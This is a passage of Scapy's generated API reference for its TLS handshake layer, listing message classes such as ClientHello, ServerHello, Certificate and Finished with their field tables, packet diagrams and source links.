+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 TICKET AGE ADD                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    NONCELEN   |          TICKET NONCE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TICKETLEN           |             TICKET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             EXTLEN            |              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLS13NewSessionTicket                    


TLS13NewSessionTicket fields






	msgtype

	ByteEnumField

	4



	msglen

	ThreeBytesField

	None



	ticket_lifetime

	IntField

	4294967295



	ticket_age_add

	IntField

	0



	noncelen

	FieldLenField

	None



	ticket_nonce

	StrLenField

	b''



	ticketlen

	FieldLenField

	None



	ticket

	StrLenField

	b''



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1696-L1698]

	








	
class scapy.layers.tls.handshake.TLS13ServerHello(_pkt, /, *, msgtype=2, msglen=None, version=771, random_bytes=None, sidlen=None, sid=b'', cipher=None, comp=[0], extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L613-L694]

	Bases: TLSServerHello

TLS 1.3 ServerHello


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L620-L628]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VERSION            |  RANDOM BYTES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SIDLEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |             CIPHER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              COMP             |             EXTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. TLS13ServerHello                       


TLS13ServerHello fields






	msgtype

	ByteEnumField

	2



	msglen

	ThreeBytesField

	None



	version

	_TLSVersionField

	771



	random_bytes

	_TLSRandomBytesField

	None



	sidlen

	FieldLenField

	None



	sid

	_SessionIDField

	b''



	cipher

	ShortEnumField

	None



	comp

	_CompressionMethodsField

	[0]



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L630-L633]

	




	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L635-L694]

	Either for parsing or building, we store the server_random along with
the raw string representing this handshake message. We also store the
cipher suite (if recognized), and finally we instantiate the write and
read connection states.










	
class scapy.layers.tls.handshake.TLSCertificate(_pkt, /, *, msgtype=11, msglen=None, certslen=None, certs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L941-L966]

	Bases: _TLSHandshake

XXX We do not support RFC 5081, i.e. OpenPGP certificates.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L952-L958]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    CERTSLEN                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             CERTS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TLSCertificate                        


TLSCertificate fields






	msgtype

	ByteEnumField

	11



	msglen

	ThreeBytesField

	None



	certslen

	_ASN1CertLenField

	None



	certs

	_ASN1CertListField

	[]











	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L960-L966]

	








	
class scapy.layers.tls.handshake.TLSCertificateRequest(_pkt, /, *, msgtype=13, msglen=None, ctypeslen=None, ctypes=[1, 64], sig_algs_len=None, sig_algs=[1027, 1025, 513], certauthlen=None, certauth=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1159-L1177]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   CTYPESLEN   |             CTYPES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SIG ALGS LEN         |            SIG ALGS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CERTAUTHLEN          |            CERTAUTH           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLSCertificateRequest                    


TLSCertificateRequest fields






	msgtype

	ByteEnumField

	13



	msglen

	ThreeBytesField

	None



	ctypeslen

	FieldLenField

	None



	ctypes

	_CertTypesField

	[1, 64]



	sig_algs_len

	SigAndHashAlgsLenField

	None



	sig_algs

	SigAndHashAlgsField

	[1027, 1025, 513]



	certauthlen

	FieldLenField

	None



	certauth

	_CertAuthoritiesField

	[]















	
class scapy.layers.tls.handshake.TLSCertificateStatus(_pkt, /, *, msgtype=22, msglen=None, status_type=1, responselen=None, response=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1560-L1568]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  STATUS TYPE  |          RESPONSELEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RESPONSE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLSCertificateStatus                     


TLSCertificateStatus fields






	msgtype

	ByteEnumField

	22



	msglen

	ThreeBytesField

	None



	status_type

	ByteEnumField

	1



	responselen

	ThreeBytesLenField

	None



	response

	_StatusField

	None















	
class scapy.layers.tls.handshake.TLSCertificateURL(_pkt, /, *, msgtype=21, msglen=None, certchaintype=None, uahlen=None, uah=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1514-L1524]

	Bases: _TLSHandshake

Defined in RFC 4366. PkiPath structure of section 8 is not implemented yet.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | CERTCHAINTYPE |             UAHLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              UAH              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. TLSCertificateURL                      


TLSCertificateURL fields






	msgtype

	ByteEnumField

	21



	msglen

	ThreeBytesField

	None



	certchaintype

	ByteEnumField

	None



	uahlen

	FieldLenField

	None



	uah

	PacketListField

	[]















	
class scapy.layers.tls.handshake.TLSCertificateVerify(_pkt, /, *, msgtype=15, msglen=None, sig=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1213-L1274]

	Bases: _TLSHandshake


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1223-L1245]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              SIG              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLSCertificateVerify                     


TLSCertificateVerify fields






	msgtype

	ByteEnumField

	15



	msglen

	ThreeBytesField

	None



	sig

	_TLSSignatureField

	None











	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1247-L1274]

	








	
class scapy.layers.tls.handshake.TLSClientHello(_pkt, /, *, msgtype=1, msglen=None, version=None, gmt_unix_time=None, random_bytes=None, sidlen=None, sid=b'', cipherslen=None, ciphers=None, complen=None, comp=[0], extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L253-L349]

	Bases: _TLSHandshake

TLS ClientHello, with abilities to handle extensions.

The Random structure follows the RFC 5246: while it is 32-byte long,
many implementations use the first 4 bytes as a gmt_unix_time, and then
the remaining 28 byts should be completely random. This was designed in
order to (sort of) mitigate broken RNGs. If you prefer to show the full
32 random bytes without any GMT time, just comment in/out the lines below.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VERSION            | GMT UNIX TIME |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  RANDOM BYTES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SIDLEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |           CIPHERSLEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CIPHERS            |    COMPLEN    |      COMP     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             EXTLEN            |      EXT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. TLSClientHello                        


TLSClientHello fields






	msgtype

	ByteEnumField

	1



	msglen

	ThreeBytesField

	None



	version

	_TLSClientVersionField

	None



	gmt_unix_time

	_GMTUnixTimeField

	None



	random_bytes

	_TLSRandomBytesField

	None



	sidlen

	FieldLenField

	None



	sid

	_SessionIDField

	b''



	cipherslen

	FieldLenField

	None



	ciphers

	_CipherSuitesField

	None



	complen

	FieldLenField

	None



	comp

	_CompressionMethodsField

	[0]



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L296-L314]

	




	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L316-L349]

	Either for parsing or building, we store the client_random
along with the raw string representing this handshake message.










	
class scapy.layers.tls.handshake.TLSClientKeyExchange(_pkt, /, *, msgtype=16, msglen=None, exchkeys=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1311-L1362]

	Bases: _TLSHandshake

This class mostly works like TLSServerKeyExchange and its ‘params’ field.


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1321-L1331]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            EXCHKEYS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLSClientKeyExchange                     


TLSClientKeyExchange fields






	msgtype

	ByteEnumField

	16



	msglen

	ThreeBytesField

	None



	exchkeys

	_TLSCKExchKeysField

	None











	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1333-L1362]

	Finalize the EXTMS messages and compute the hash










	
class scapy.layers.tls.handshake.TLSEncryptedExtensions(_pkt, /, *, msgtype=8, msglen=None, extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L744-L813]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             EXTLEN            |      EXT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. TLSEncryptedExtensions                    


TLSEncryptedExtensions fields






	msgtype

	ByteEnumField

	8



	msglen

	ThreeBytesField

	None



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
post_build_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L752-L783]

	




	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L785-L813]

	








	
class scapy.layers.tls.handshake.TLSFinished(_pkt, /, *, msgtype=20, msglen=None, vdata=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1380-L1469]

	Bases: _TLSHandshake


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1386-L1404]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             VDATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TLSFinished                         


TLSFinished fields






	msgtype

	ByteEnumField

	20



	msglen

	ThreeBytesField

	None



	vdata

	_VerifyDataField

	None











	
post_build_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1431-L1449]

	




	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1406-L1429]

	




	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1451-L1469]

	








	
class scapy.layers.tls.handshake.TLSHelloRequest(_pkt, /, *, msgtype=0, msglen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L132-L142]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. TLSHelloRequest                       


TLSHelloRequest fields






	msgtype

	ByteEnumField

	0



	msglen

	ThreeBytesField

	None











	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L137-L142]

	Message should not be added to the list of handshake messages
that will be hashed in the finished and certificate verify messages.










	
class scapy.layers.tls.handshake.TLSHelloVerifyRequest(_pkt, /, *, msgtype=21, msglen=None, cookielen=None, cookie=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1478-L1488]

	Bases: _TLSHandshake

Defined for DTLS, see RFC 6347.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   COOKIELEN   |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLSHelloVerifyRequest                    


TLSHelloVerifyRequest fields






	msgtype

	ByteEnumField

	21



	msglen

	ThreeBytesField

	None



	cookielen

	FieldLenField

	None



	cookie

	StrLenField

	b''















	
class scapy.layers.tls.handshake.TLSNewSessionTicket(_pkt, /, *, msgtype=4, msglen=None, lifetime=4294967295, ticketlen=None, ticket=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1623-L1645]

	Bases: _TLSHandshake

XXX When knowing the right secret, we should be able to read the ticket.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1635-L1640]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    LIFETIME                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           TICKETLEN           |     TICKET    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. TLSNewSessionTicket                     


TLSNewSessionTicket fields






	msgtype

	ByteEnumField

	4



	msglen

	ThreeBytesField

	None



	lifetime

	IntField

	4294967295



	ticketlen

	FieldLenField

	None



	ticket

	StrLenField

	b''











	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1642-L1645]

	








	
class scapy.layers.tls.handshake.TLSServerHello(_pkt, /, *, msgtype=2, msglen=None, version=None, gmt_unix_time=None, random_bytes=None, sidlen=None, sid=b'', cipher=None, comp=[0], extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L487-L590]

	Bases: _TLSHandshake

TLS ServerHello, with abilities to handle extensions.

The Random structure follows the RFC 5246: while it is 32-byte long,
many implementations use the first 4 bytes as a gmt_unix_time, and then
the remaining 28 byts should be completely random. This was designed in
order to (sort of) mitigate broken RNGs. If you prefer to show the full
32 random bytes without any GMT time, just comment in/out the lines below.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L522-L528]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VERSION            | GMT UNIX TIME |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  RANDOM BYTES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SIDLEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |             CIPHER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              COMP             |             EXTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TLSServerHello                        


TLSServerHello fields






	msgtype

	ByteEnumField

	2



	msglen

	ThreeBytesField

	None



	version

	_TLSVersionField

	None



	gmt_unix_time

	_GMTUnixTimeField

	None



	random_bytes

	_TLSRandomBytesField

	None



	sidlen

	FieldLenField

	None



	sid

	_SessionIDField

	b''



	cipher

	ShortEnumField

	None



	comp

	_CompressionMethodsField

	[0]



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L530-L533]

	




	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L535-L590]

	Either for parsing or building, we store the server_random
along with the raw string representing this handshake message.
We also store the session_id, the cipher suite (if recognized),
the compression method, and finally we instantiate the pending write
and read connection states. Usually they get updated later on in the
negotiation when we learn the session keys, and eventually they
are committed once a ChangeCipherSpec has been sent/received.










	
class scapy.layers.tls.handshake.TLSServerHelloDone(_pkt, /, *, msgtype=14, msglen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1203-L1206]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. TLSServerHelloDone                      


TLSServerHelloDone fields






	msgtype

	ByteEnumField

	14



	msglen

	ThreeBytesField

	None















	
class scapy.layers.tls.handshake.TLSServerKeyExchange(_pkt, /, *, msgtype=12, msglen=None, params=None, sig=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1014-L1101]

	Bases: _TLSHandshake


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1023-L1080]

	We overload build() method in order to provide a valid default value
for params based on TLS session if not provided. This cannot be done by
overriding i2m() because the method is called on a copy of the packet.

The ‘params’ field is built according to key_exchange.server_kx_msg_cls
which should have been set after receiving a cipher suite in a
previous ServerHello. Usual cases are:


	None: for RSA encryption or fixed FF/ECDH. This should never happen,
as no ServerKeyExchange should be generated in the first place.


	ServerDHParams: for ephemeral FFDH. In that case, the parameter to
server_kx_msg_cls does not matter.


	ServerECDH*Params: for ephemeral ECDH. There are actually three
classes, which are dispatched by _tls_server_ecdh_cls_guess on
the first byte retrieved. The default here is b”03”, which
corresponds to ServerECDHNamedCurveParams (implicit curves).




When the Server*DHParams are built via .fill_missing(), the session
server_kx_privkey will be updated accordingly.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             PARAMS            |      SIG      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. TLSServerKeyExchange                     


TLSServerKeyExchange fields






	msgtype

	ByteEnumField

	12



	msglen

	ThreeBytesField

	None



	params

	_TLSServerParamsField

	None



	sig

	_TLSSignatureField

	None











	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1082-L1101]

	While previously dissecting Server*DHParams, the session
server_kx_pubkey should have been updated.

XXX Add a ‘fixed_dh’ OR condition to the ‘anonymous’ test.










	
